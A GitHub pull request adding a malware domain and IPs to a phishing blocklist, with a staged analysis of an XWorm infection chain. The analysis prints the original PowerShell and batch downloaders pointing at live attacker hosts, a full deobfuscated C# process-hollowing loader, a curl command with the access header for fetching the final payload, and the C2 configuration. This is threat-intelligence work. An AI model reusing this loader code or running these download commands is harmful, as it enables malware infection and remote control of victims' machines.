Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add cpth-aprv[.]com and related IP addresses - malware #724

Merged
merged 6 commits into from
Jan 27, 2025

Conversation

g0d33p3rsec
Copy link
Contributor

@g0d33p3rsec g0d33p3rsec commented Jan 27, 2025

Phishing Domain/URL/IP(s):

147.45.44.131
92.255.85.66
cpth-aprv.com
https://cpth-aprv.com/verify.ps1            
http://147.45.44.131/infopage/resafh7.exe   
http://147.45.44.131/infopage/vgqvs.bat     
http://147.45.44.131/infopage/vtqrai.exe    

Impersonated domain


Describe the issue

Filename sha256
verify.ps1 7918f238b96671953525877b977087aa149af7a69d4a9743ab13d455fa8e68a9
vgqvs.bat 408071990c584e623599239553b6f24fc92ff8e51c210b86fc169094b2f6bdeb
resafh7.exe b0438625c334172a122141e07e8abe25a3d5bf08bdb032bd59842ac47f90f221
vtqrai.exe b9321acd5582848dd946117d94aa70d3ae1f3a7a51971a13a7ceb0aad4199d6a

I found the malicious powershell script https://cpth-aprv.com/verify.ps1 on urlscan, which contains the following:

Stage One

$p1 = "http://147.45.44.131/infopage/vgqvs.bat"
$p2 = "C:\Windows\Temp\APack.bat"
$p3 = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\App.url"

$p4 = @{
    "X-Special-Header" = "qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq"
}

Invoke-WebRequest -Uri $p1 -Headers $p4 -OutFile $p2

$p5 = @"
[InternetShortcut]
URL=file:///$batFilePath
"@

Set-Content -Path $p3 -Value $p5 -Encoding ASCII

Start-Process -FilePath $p2

Stage Two

The powershell script downloads vgqvs.bat from 147.45.44.131 and saves it as APack.bat. After stripping the extranous "%Se大%" strings from APack.bat we are left with the following:

@%echo off
powershell -Command ^
  $url = 'http://147.45.44.131/infopage/resafh7.exe'; 
  $webClient = New-Object System.Net.WebClient; 
  $headerName = 'X-Special-Header'; 
  $headerValue = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyO2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'; 
  $webClient.Headers.Add($headerName, $headerValue); 
  $fileBytes = $webClient.DownloadData($url); 
  $assembly = [System.Reflection.Assembly]::Load($fileBytes); 
  $entryPoint = $assembly.EntryPoint; 
  if ($entryPoint -ne $null) { 
      $entryPoint.Invoke($null, @()); 
  }

Stage two downloads resafh7.exe and loads the executable directly into memory using .NET reflection.

Stage Three

The third stage can be examined with ILSpy. The method ConsoleApp167.Ynbvks contains

// Mercado, Version=7.8.3.9, Culture=neutral, PublicKeyToken=null
// ConsoleApp167.Ynbvks
using System;
using System.Text;

internal class Ynbvks
{
	public static string Imglsw = Encoding.UTF8.GetString(Convert.FromBase64String("MS8oNndIY3k+ZWs5bkNUQW8mOXY="));
}

from which we can derrive the key used by ConsoleApp167.Ntilg 1/(6wHcy>ek9nCTA&9v

// Mercado, Version=7.8.3.9, Culture=neutral, PublicKeyToken=null
// ConsoleApp167.Ntilg
using System;
using System.Text;

internal class Ntilg
{
	public static string Kslbmqi(string g1, string g2)
	{
		byte[] array = Convert.FromBase64String(g1);
		byte[] bytes = Encoding.UTF8.GetBytes(g2);
		byte[] array2 = new byte[array.Length];
		for (int i = 0; i < array.Length; i++)
		{
			array2[i] = (byte)(array[i] ^ (byte)(i * 42 % 256));
			array2[i] ^= bytes[i % bytes.Length];
		}
		return Encoding.UTF8.GetString(array2);
	}
}

using the decoded key, we can decrypt the string in ConsoleApp167.Knvbl to deobfuscate the payload

Stage 3 deobfuscated payload, click to expand
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Threading.Tasks;

public class ClasserPlus
{
    public static Int16 ConvertToInt16(byte[] value, int startIndex)
    {
        return BitConverter.ToInt16(value, startIndex);
    }

    public static Int32 ConvertToInt32(byte[] value, int startIndex)
    {
        return BitConverter.ToInt32(value, startIndex);
    }

    public static byte[] ConvertToBytes(int value)
    {
        return BitConverter.GetBytes(value);
    }

    public static string[] GetApiNames()
    {
        return new string[]
        {
            "kernel32",
            "ntdll",
            "ResumeThread",
            "Wow64SetThreadContext",
            "SetThreadContext",
            "Wow64GetThreadContext",
            "GetThreadContext",
            "VirtualAllocEx",
            "WriteProcessMemory",
            "ReadProcessMemory",
            "ZwUnmapViewOfSection",
            "CreateProcessA"
        };
    }

    private delegate int ResumeThreadDelegate(IntPtr handle);
    private delegate bool SetWow64ThreadContextDelegate(IntPtr thread, int[] context);
    private delegate bool SetThreadContextDelegate(IntPtr thread, int[] context);
    private delegate bool GetWow64ThreadContextDelegate(IntPtr thread, int[] context);
    private delegate bool GetThreadContextDelegate(IntPtr thread, int[] context);
    private delegate int VirtualAllocExDelegate(IntPtr handle, int address, int length, int type, int protect);
    private delegate bool WriteMemoryDelegate(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
    private delegate bool ReadMemoryDelegate(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
    private delegate int UnmapViewOfSectionDelegate(IntPtr process, int baseAddress);
    private delegate bool CreateProcessDelegate(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes,
        bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInfo startupInfo, ref ProcessInfo processInfo);

    private static ResumeThreadDelegate ResumeThread = LoadApi<ResumeThreadDelegate>(GetApiNames()[0], GetApiNames()[2]);
    private static SetWow64ThreadContextDelegate SetWow64ThreadContext = LoadApi<SetWow64ThreadContextDelegate>(GetApiNames()[0], GetApiNames()[3]);
    private static SetThreadContextDelegate SetThreadContext = LoadApi<SetThreadContextDelegate>(GetApiNames()[0], GetApiNames()[4]);
    private static GetWow64ThreadContextDelegate GetWow64ThreadContext = LoadApi<GetWow64ThreadContextDelegate>(GetApiNames()[0], GetApiNames()[5]);
    private static GetThreadContextDelegate GetThreadContext = LoadApi<GetThreadContextDelegate>(GetApiNames()[0], GetApiNames()[6]);
    private static VirtualAllocExDelegate VirtualAllocEx = LoadApi<VirtualAllocExDelegate>(GetApiNames()[0], GetApiNames()[7]);
    private static WriteMemoryDelegate WriteMemory = LoadApi<WriteMemoryDelegate>(GetApiNames()[0], GetApiNames()[8]);
    private static ReadMemoryDelegate ReadMemory = LoadApi<ReadMemoryDelegate>(GetApiNames()[0], GetApiNames()[9]);
    private static UnmapViewOfSectionDelegate UnmapViewOfSection = LoadApi<UnmapViewOfSectionDelegate>(GetApiNames()[1], GetApiNames()[10]);
    private static CreateProcessDelegate CreateProcess = LoadApi<CreateProcessDelegate>(GetApiNames()[0], GetApiNames()[11]);

    [DllImport("kernel32", SetLastError = true)]
    private static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);

    [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
    private static extern IntPtr GetProcAddress(IntPtr hProcess, [MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);

    private static T LoadApi<T>(string libraryName, string methodName)
    {
        return (T)(object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref libraryName), ref methodName), typeof(T));
    }

    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    private struct ProcessInfo
    {
        public IntPtr ProcessHandle;
        public IntPtr ThreadHandle;
        public uint ProcessId;
        public uint ThreadId;
    }

    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    private struct StartupInfo
    {
        public uint Size;
        public string Reserved;
        public string Desktop;
        public string Title;
        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)] private byte[] Misc;
        public IntPtr Reserved2;
        public IntPtr StdInput;
        public IntPtr StdOutput;
        public IntPtr StdError;
    }

    public static void VisibleProfile(byte[] bytes)
    {
        int executionStep = 101;

        for (int i = 0; i < executionStep; i++)
        {
            switch (executionStep)
            {
                case 1:
                case 2:
                    executionStep = 30;
                    break;
                case 3:
                    bool flag = true;
                    if (flag)
                    {
                        executionStep = 8 ^ 55;
                    }
                    break;
                case 9:
                    executionStep = 8;
                    break;
                case 10:
                    executionStep = 4;
                    break;
                case 11:
                    executionStep = 17;
                    break;
            }
        }

        for (int i = 0; i < 5; i++)
        {
            int bytesRead = 0;
            StartupInfo startupInfo = new StartupInfo();
            ProcessInfo processInfo = new ProcessInfo();
            startupInfo.Size = (uint)Marshal.SizeOf(typeof(StartupInfo));

            try
            {
                bool processCreated = CreateProcess("C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe", "", IntPtr.Zero, IntPtr.Zero, false, 4 | 134217728, IntPtr.Zero, null, ref startupInfo, ref processInfo);
                if (!processCreated)
                {
                    throw new Exception();
                }

                int fileAddress = ConvertToInt32(bytes, 60);
                int imageBase = ConvertToInt32(bytes, fileAddress + 52);

                int[] context = new int[179];
                context[0] = 65538;

                if (IntPtr.Size == 4)
                {
                    if (!GetThreadContext(processInfo.ThreadHandle, context))
                    {
                        throw new Exception();
                    }
                }
                else
                {
                    if (!GetWow64ThreadContext(processInfo.ThreadHandle, context))
                    {
                        throw new Exception();
                    }
                }

                int ebx = context[41];
                int baseAddress = 0;

                if (!ReadMemory(processInfo.ProcessHandle, ebx + 8, ref baseAddress, 4, ref bytesRead))
                {
                    throw new Exception();
                }

                if (imageBase == baseAddress)
                {
                    if (UnmapViewOfSection(processInfo.ProcessHandle, baseAddress) != 0)
                    {
                        throw new Exception();
                    }
                }

                int sizeOfImage = ConvertToInt32(bytes, fileAddress + 80);
                int sizeOfHeaders = ConvertToInt32(bytes, fileAddress + 84);

                int newImageBase = VirtualAllocEx(processInfo.ProcessHandle, imageBase, sizeOfImage, 12288, 64);
                if (newImageBase == 0)
                {
                    throw new Exception();
                }

                if (!WriteMemory(processInfo.ProcessHandle, newImageBase, bytes, sizeOfHeaders, ref bytesRead))
                {
                    throw new Exception();
                }

                int sectionOffset = fileAddress + 248;
                short numberOfSections = ConvertToInt16(bytes, fileAddress + 6);

                for (int j = 0; j < numberOfSections; j++)
                {
                    int virtualAddress = ConvertToInt32(bytes, sectionOffset + 12);
                    int sizeOfRawData = ConvertToInt32(bytes, sectionOffset + 16);
                    int pointerToRawData = ConvertToInt32(bytes, sectionOffset + 20);

                    if (sizeOfRawData > 0)
                    {
                        byte[] sectionData = new byte[sizeOfRawData];
                        Buffer.BlockCopy(bytes, pointerToRawData, sectionData, 0, sectionData.Length);

                        if (!WriteMemory(processInfo.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref bytesRead))
                        {
                            throw new Exception();
                        }
                    }

                    sectionOffset += 40;
                }

                byte[] imageBaseBytes = ConvertToBytes(newImageBase);
                if (!WriteMemory(processInfo.ProcessHandle, ebx + 8, imageBaseBytes, 4, ref bytesRead))
                {
                    throw new Exception();
                }

                int entryPoint = ConvertToInt32(bytes, fileAddress + 40);
                context[44] = newImageBase + entryPoint;

                if (IntPtr.Size == 4)
                {
                    if (!SetThreadContext(processInfo.ThreadHandle, context))
                    {
                        throw new Exception();
                    }
                }
                else
                {
                    if (!SetWow64ThreadContext(processInfo.ThreadHandle, context))
                    {
                        throw new Exception();
                    }
                }

                if (ResumeThread(processInfo.ThreadHandle) == -1)
                {
                    throw new Exception();
                }
            }
            catch
            {
                Process.GetProcessById((int)processInfo.ProcessId).Kill();
                continue;
            }

            break;
        }
    }

    public static byte[] WebClass()
    {
        WebClient webClient = new WebClient();
        webClient.Headers.Add("X-Special-Header", "qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq");
        return webClient.DownloadData("http://147.45.44.131/infopage/vtqrai.exe");
    }

    public static void LogicBool(bool check)
    {
        if (check)
        {
            VisibleProfile(WebClass());
        }
    }

    public static void GetStarted()
    {
        LogicBool(true);
    }
}

Stage three uses processes hollowing to inject vtqrai.exe into C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Stage Four

Using the information from the deobfuscated stage 3, we can obtain the final payload using

curl -o vtqrai.exe -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" "http://147.45.44.131/infopage/vtqrai.exe"

The final stage is detected as an xworm variant and contains functions for host management, performing DDoS attacks, enumeration, and taking screenshots. The final stage can be seen communicating with the c2 address 92.255.85.66 on port 7000

{
  "C2": "92.255.85.66:7000",
  "Keys": {
          "AES": "P0WER"
  },
  "Options": {
          "Splitter": "<Xwormmm>",
          "Sleep time": "3",
          "USB drop name": "XWorm V5.6",
          "Mutex": "kw88tYYFuNbOm2LW"
  }
}

Related external source

https://urlscan.io/result/e53be657-8a2b-4e78-9abc-a84cbf079d19/
https://app.any.run/tasks/bcccad3e-e418-4887-a297-31ae282fa1c6
https://any.run/report/7918f238b96671953525877b977087aa149af7a69d4a9743ab13d455fa8e68a9/bcccad3e-e418-4887-a297-31ae282fa1c6
https://www.virustotal.com/gui/file/408071990c584e623599239553b6f24fc92ff8e51c210b86fc169094b2f6bdeb/relations
https://www.virustotal.com/gui/file/b0438625c334172a122141e07e8abe25a3d5bf08bdb032bd59842ac47f90f221
https://app.any.run/tasks/93479da1-ae1f-4ab9-bd4b-551146b07f9f
https://any.run/report/b9321acd5582848dd946117d94aa70d3ae1f3a7a51971a13a7ceb0aad4199d6a/93479da1-ae1f-4ab9-bd4b-551146b07f9f
https://www.virustotal.com/gui/file/b9321acd5582848dd946117d94aa70d3ae1f3a7a51971a13a7ceb0aad4199d6a

Screenshot

Click to expand

image
Screenshot 2025-01-26 183224
Screenshot 2025-01-26 184413
Screenshot 2025-01-26 185751
Screenshot 2025-01-26 185838
Screenshot 2025-01-26 190052
Screenshot 2025-01-26 190237
Screenshot 2025-01-26 192059
Screenshot 2025-01-26 193033
image

@g0d33p3rsec g0d33p3rsec merged commit c9fbcc2 into Phishing-Database:master Jan 27, 2025
1 check passed
@g0d33p3rsec g0d33p3rsec deleted the add-cpth-aprv.com branch January 27, 2025 01:29
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant